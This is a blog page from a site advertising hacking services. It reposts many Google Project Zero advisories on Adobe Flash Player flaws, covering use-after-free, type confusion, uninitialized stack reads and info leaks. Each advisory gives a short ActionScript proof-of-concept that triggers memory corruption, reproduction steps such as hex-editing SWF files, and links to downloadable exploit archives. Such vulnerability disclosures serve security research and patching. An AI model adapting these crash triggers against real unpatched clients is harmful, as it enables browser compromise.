Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86399708

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=716

The ActionScript parameter conversion in the fix for an issue in the December Flash bulletin (https://helpx.adobe.com/security/products/flash-player/apsb15-32.html, most likely one of the UaFs reported by Yuki Chen) can sometimes access a parameter on the native stack that is uninitialized.

If:

var o = {};
o.unwatch();

is called in ActionScript, a parameter array is allocated using alloca(0), which leads to a 16-byte (the minimum size length for alloca in the implementation) that does not get initialized. The conversion function in the UaF check then assumes that at least one parameter has been allocated, and attempts to convert the stack parameter to a string, even though it is a previous value (a UTF string "fffff ... " in the PoC).

A PoC is attached, it is a bit finicky but crashes in the most recent Chrome Flash update. To reproduce, load crasher2.swf?num=15, and then immediately loading crasher2.swf?num=4. The num parameter shifts the stack (for nums between 0 and 31), so changing it around should lead to crashes in different browsers.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39612.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=715

The ActionScript parameter conversion in the fix for issue 403 (https://code.google.com/p/google-security-research/issues/detail?id=403) can sometimes access a parameter on the native stack that is uninitialized.

If:

mc.swapDepths();

is called in ActionScript, a parameter array is allocated using alloca(0), which leads to a 16-byte (the minimum size length for alloca in the implementation) that does not get initialized. The conversion function in the UaF check then assumes that at least one parameter has been allocated, and attempts to convert the stack parameter to a string, even though it is a previous value (a UTF string "fffff ... " in the PoC).

A PoC is attached, it is a bit finicky and depends a lot on the specific Flash version. It crashes currently in chrome-unstable, by loading crasher2.swf?num=15, and then immediately loading crasher2.swf?num=4. The num parameter shifts the stack (for nums between 0 and 31), so changing it around should lead to crashes in different browsers.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39613.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=717

The ActionScript parameter conversion in the fix for an issue in the December Flash bulletin (https://helpx.adobe.com/security/products/flash-player/apsb15-32.html, most likely one of the UaFs reported by Yuki Chen) can sometimes access a parameter on the native stack that is uninitialized.

If:

var ab = {};
AsBroadcaster.initialize(ab)
ab.broadcastMessage();

is called in ActionScript, a parameter array is allocated using alloca(0), which leads to a 16-byte (the minimum size length for alloca in the implementation) that does not get initialized. The conversion function in the UaF check then assumes that at least one parameter has been allocated, and attempts to convert the stack parameter to a string, even though it is a previous value (a UTF string "fffff ... " in the PoC).

A PoC is attached, it is a bit finicky but crashes in the most recent Chrome Flash update. To reproduce, load crasher2.swf?num=15, and then immediately loading crasher2.swf?num=4. The num parameter shifts the stack (for nums between 0 and 31), so changing it around should lead to crashes in different browsers.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39611.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=409&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a type confusion issue in TextRenderer.setAdvancedAntialiasingTable. If the font, insideCutoff or outsideCutoff are set to objects that are not integers, they are still assumed to be integers. A proof-of-concept is below:

var antiAliasEntry_1 = {fontSize:10, insideCutoff:1.61, outsideCutoff:-3.43};
var antiAliasEntry_2 = {fontSize:"", insideCutoff:0.8, outsideCutoff:-0.8};
var arialTable:Array = new Array(antiAliasEntry_1, antiAliasEntry_2);

TextRenderer.setAdvancedAntialiasingTable("Arial", "none", "dark", arialTable);

This issue is low-impact because the type-confused objects are read into the font and cutoff values, which cannot be directly retreived from script. It is probably possible to determine the value read by doing hit tests on the text that is rendered (to see how big and clipped it is), but this would be fairly difficult.

A sample SWF and fla are attached, these samples intentionally crash to demonstrate the issue. 

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37874.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=545

There is a type confusion issue during serialization if ObjectEncoder.dynamicPropertyWriter is overridden with a value that is not a function.

In the following ActionScript:

		flash.net.ObjectEncoding.dynamicPropertyWriter = new subdpw();
		var b = new ByteArray();
		var a = {};
		a.test = 1;
		b.writeObject(a);

The object 'a' with a dynamic property 'test' is serialized using a custom dynamicPropertyWriter of class subpwd. However this class overrides writeDynamicProperties with a property that is not a function leading to type confusion (note that this is not possible in the compiler, the bytecode needs to be modified manually).

To reproduce the issue, load objectencoding.swf. PoC code is also attached. To use this code, compile the swf, and decompress it (for example, using flasm -x), and then search for the string "triteDocumentProperties" in the SWF and change it to "writeDocumentProperties".


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38970.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=548

If IExternalizable.readExternal is overridden with a value that is not a function, Flash assumes it is a function even though it is not one. This leads to execution of a 'method' outside of the ActionScript object's ActionScript vtable, leading to memory corruption.

A sample swf is attached. ActionScript code is also attached, but it does not compile to the needed to swf. To get the PoC, decompress the swf using flasm -x myswf, and then search for "teadExternal" and change it to "readExternal".


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38969.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799

There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.

A minimal PoC is as follows:

function myfunc(){
			
			this.__proto__ = {};
			this.__proto__.__constructor__ = flash.display.BitmapData;
			super(1000, 1000);
			
			
			}
			

	function mysubclass(){
		

		this.watch("name", myfunc);
		_global.ASnative(2204, 200)(this); // FileReference constructor
		this.unwatch("name"); // let the reference free
		
		}
	}

        var a = new subclass();
        a = 0;
        // wait for GC


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39829.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=845

There is an info leak in the Transform.colorTranform getter. If the constructor for ColorTransform is overwritten with a getter using addProperty, this getter will execute when fetching the constructor, which can then free the MovieClip containing the Tranform.

A minimal PoC is as follows:

this.createEmptyMovieClip( "mc", 1);
var c = new ColorTransform( 77, 88, 99, 0.5, 1, 2, 3, 4);
var t:Transform = new Transform( mc );
t.colorTransform = c;
this.createTextField( "tf", 2, 0, 0, 2000, 200);
var ct = ColorTransform;
var g = flash.geom;
g.addProperty("ColorTransform", func, func);
var q = t.colorTransform;
tf.text = q.greenMultiplier + "\n" + q.blueMultiplier + "\n" + q.color;

function func(){
	
	mc.removeMovieClip();
	
	return ct;
	
	}


A sample swf and fla are attached. The PoC prints the value of unallocated memory to the screen.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40355.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=579

There is a use-after-free in the TextField.variable setter. If the variable name that is added is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.variable = {toString : func};

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "myvar";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39050.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=581

There is a use-after-free in the TextField.maxChars setter. If the maxChars the field is set to is an object with valueOf defined, the valueOf function can free the field's parent object, which is then used. A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.maxChars = {valueOf : func};

function func(){

        if (times == 0){
            times++;
            return 7;
        }
	mc.removeMovieClip();

        // Fix heap here

	return 7;
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39650.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=418&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in the TextField gridFitType setter. A PoC is below:

var test = this.createTextField("test", 1, 0, 0, 100, 100);
var n = {toString : func, valueOf : func};
test.gridFitType = n;

function func(){
	
	test.removeTextField();
	for(var i = 0; i < 1000; i++){
		var b = new flash.display.BitmapData(1000, 1000, true, 10);
		}
	trace("here");
	return "natalie";
	
	}

A PoC and fla are attached. Some other setters (thickness, tabIndex, etc.) are also impacted by the same UaF condition, additional SWFs are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37877.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=701

There is a type confusion vulnerability in the TextField constructor in AS3. When a TextField is constructed, a generic backing object is created and reused when subsequent TextField objects are created. However, if an object with the same ID has already been created in the SWF, it can be of the wrong type. The constructor contains a check for this situation, though, and throws an exception and sets a flag to shut down the player if this occurs. The backing object is then set to be of type TextField to avoid any modifications that have been made on it by the constructor from causing problems if it is used as an object of its original type elsewhere in the player.

However, if the exception thrown by the constructor is caught, the exception handler can create another TextField object, and since the type of the generic backing object has been changed, an object of the wrong type is now backing the TextField, which makes it possible to set the pointers in the object to integer values selected by the attacker.

The PoC swf for this issue needs to be created by hand. The original swf code is:

try{

     var t = new TextField();

} catch(e:Error){

     var t2 = new TextField();
     t2.gridFitType;

}

Then in the swf, a backing object of a different type with ID 0xfff9 is created, which causes the first constructor call to fail, and the second to cause type confusion.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39461.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1013

The attached fuzzed swf causes stack corruption when it is loaded, likely due to the parsing of the SWF file.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41421.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=403&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in MovieClip.swapDepths, a POC is as follows:

var clip1 = this.createEmptyMovieClip("clip1", 1);
var clip2 = this.createEmptyMovieClip("clip2", 2);

var n = {valueOf: func, toString: func};

clip1.swapDepths(n);

function func(){
	
	clip1.removeMovieClip();
	//_root.createEmptyMovieClip("test", 1);
	
	trace("here");
	return "clip2";
	}

A swf and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37871.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=838

There is a use-after-free in the Stage.align property setter. When the setter is called, the parameter is converted to a string early, as a part of the new use-after-free prevention changes. This conversion can invoke script, which if the this object is a MovieClip, can delete the object, deleting the thread the call is made from, which can lead to a use-after-free.

A proof-of-concept is as follows:

this.createEmptyMovieClip("mc", 2);
var o = { toString : f };
mc.func = ASnative(666, 4); //Stage.align setter
mc.func(o);

function f(){
	
	trace("here");
	mc.removeMovieClip();
	for(var i = 0; i < 100; i++){	
		var t = new TextFormat(); // fill up the slots
		
		}
	}

A fla and swf are attached. The swf crashes in Chrome for Windows.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40308.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=718

There is a use-after-free in Sprite Creation. If a Sprite is created, and then the handler for the frameConstructed event triggers a remove object action, the Sprite is then used after it has been freed.

A sample swf is attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39610.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=698

There is a dangling pointer that can be read, but not written to in loadPCMFromByteArray. A minimal PoC is as follows:

	var s = new Sound();
	var b = new ByteArray();
	for( var i = 0; i < 1600; i++){
		b.writeByte(1);
	}
	b.position = 0;
	s.loadPCMFromByteArray(b, 100, "float", false, 2.0);
	var c = new ByteArray();
	for(var i = 0; i < 2; i++){
			c.writeByte(1);	
	}
	c.position = 0;
	try{
		s.loadPCMFromByteArray(c, 1, "float", false, 2.0);
	}catch(e:Error){		
		trace(e.message);
	}
			
	var d = new ByteArray();
	s.extract(d, 1, 0);

The PoC first loads PCM bytes correctly, setting an internal pointer to them. It then loads PCM bytes again, with a specific array length that passes the array length check, but then causes a exception to be thrown when reading the byte array. This causes the pointer to the original PCM array to be deleted, but then the function exits due to an exception before the pointer is set again. If the exception is caught, the sound object containing the dangling pointer can be used again. The sound.extract method reads directly out of the location the dangling pointer points to.

A full PoC and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39462.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=640

There is a type confusion vulnerability in the SimpleButton constructor. Flash stores an empty button to use to create buttons for optimization reasons. If this object is created using a SWF tag before it is created in the Button class, and it not of type Button, type confusion can occur.

A SWF needs to be altered in a hex editor to reproduce this issue. To start, build button.fla. This is a swf with the code:

var sb = new SimpleButton();

and a font attached. Decompress the swf using flasm -x button.swf, and then replace all occurrences of the font ID (0x0001) in the three tags that use it with the ID of the empty button object (0xfff6).  

When the button is created, the font will be type confused with a button.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39476.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=434&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

The Shared Object constructor does not check that the object it is provided is of type Object before setting it to be of type SharedObject. This can cause problems if another method (such as Sound.loadSound) calls into script between checking the input object type, and casting its native object. A PoC is as follows:

class subso extends Sound{

	public function subso(f){
			
	super("_level0.test");
	var n = {valueOf : func};
	_global.func = f;
	_global.t = this;
	var f2 = this.loadSound;
	f2.call(this, n, 1);
}

function func(){
	
	_global.func(_global.t,"/sosuper.swf", "/sosuper.swf");
	return 1;
	}
}
	

A sample fla, swf and AS file are attached. Note that this PoC needs to be hosted on a webserver to work and only works on 32-bit systems (tested on Windows Chrome). song1.mp3 should be put in the same folder on the server as the swf, it is needed for loadSound to work. This bug is likely only exploitable on 32-bit systems due to how the type-confused fields line up.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37881.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=360&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

In certain cases where a native AS2 class sets an internal atom to a value, it can lead to a use-after-free if the variable is a SharedObject. While this example shows setting NetConnection.uri, this issue occurs in several other 

A proof of concept is as follows:

var s = SharedObject.getLocal("test");

ASSetPropFlags(s, null, 0, 0xff);
ASSetPropFlags(s.data, null, 0, 0xff);
var q = {myprop  :"natalie", myprop2 : "test"};
var n = new NetConnection();

s.data.uri = q;
trace("uri " + s.data.uri);
s.flush();
ASnative(2100, 200)(s.data);

trace("uri " + s.data.uri);
n.connect.call(s.data, xx);
trace(s.data.uri);
s = 1;
var a = [];
var c = [];
for(i = 0; i < 200; i++){
	
	var b = new flash.display.BitmapData(1000, 1000, true, 10);
}

setInterval(f, 1000);

function f(){
	
	ASnative(252, 1).call(q); //Array push
	
	}

A fla, an AS file and two swfs are attached. slot.fla compiles to setnum.swf and contains the code that causes the use-after-free. loadswf.as compiles to loadswf.swf, and sets up the heap to cause a crash. To make the issue occur, put loadswf.swf and slot.swf in the same folder on a webserver (the PoCs don't always work locally due to flash network sandboxing), and load loadswf.swf. This PoC only works on 64-bit systems, but the issue would work on a 32-bit system with proper heap set-up. 

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37855.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=800

There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:

var t = this.createEmptyMovieClip("t", 1);
t.watch("a", func);
ASSetNative(t, 106, "a,b");
			
			
function func (){
	
	t.removeMovieClip();
	
	}

A swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39831.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=841

There is a user-after-free in Selection.setFocus. It is a static method, but if it is called with a this object, it will be called on that object's thread. Then, if it calls into script, for example, by calling toString on the string parameter, the object, and its thread will be deleted, and a use-after-free occurs.

A minimal PoC follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var f = Selection.setFocus;
mc.f = f;
mc.f({toString : func});

function func(){
	
	mc.removeMovieClip();
	
        // Fix heap here

	}

A sample SWF and fla are attached. This PoC crashes in Chrome on 64-bit Linux


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40307.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=380&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free issue if the scale9Grid setting is called on an object with a member that then frees display item. This issue occurs for both MovieClips and Buttons, it needs to be fixed in both classes.

A PoC is as follows:

var n = { valueOf : func };
var o = {x:n, y:0,width:10, height:10}

_global.mc = this
var newmc:MovieClip = this.createEmptyMovieClip("mymc",1)
mymc.scale9Grid = o


function func() {
	trace("here");
	var t = _global.mc.createTextField("test",1,1,1,2,3)
	t.removeTextField()
	return 7
}


A sample fla and swf is attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37863.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=634

The attached mp4 file causes stack corruption in Flash. To run the test, load LoadMP42.swf?file=null.mp4 from a remote server.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39426-1.zip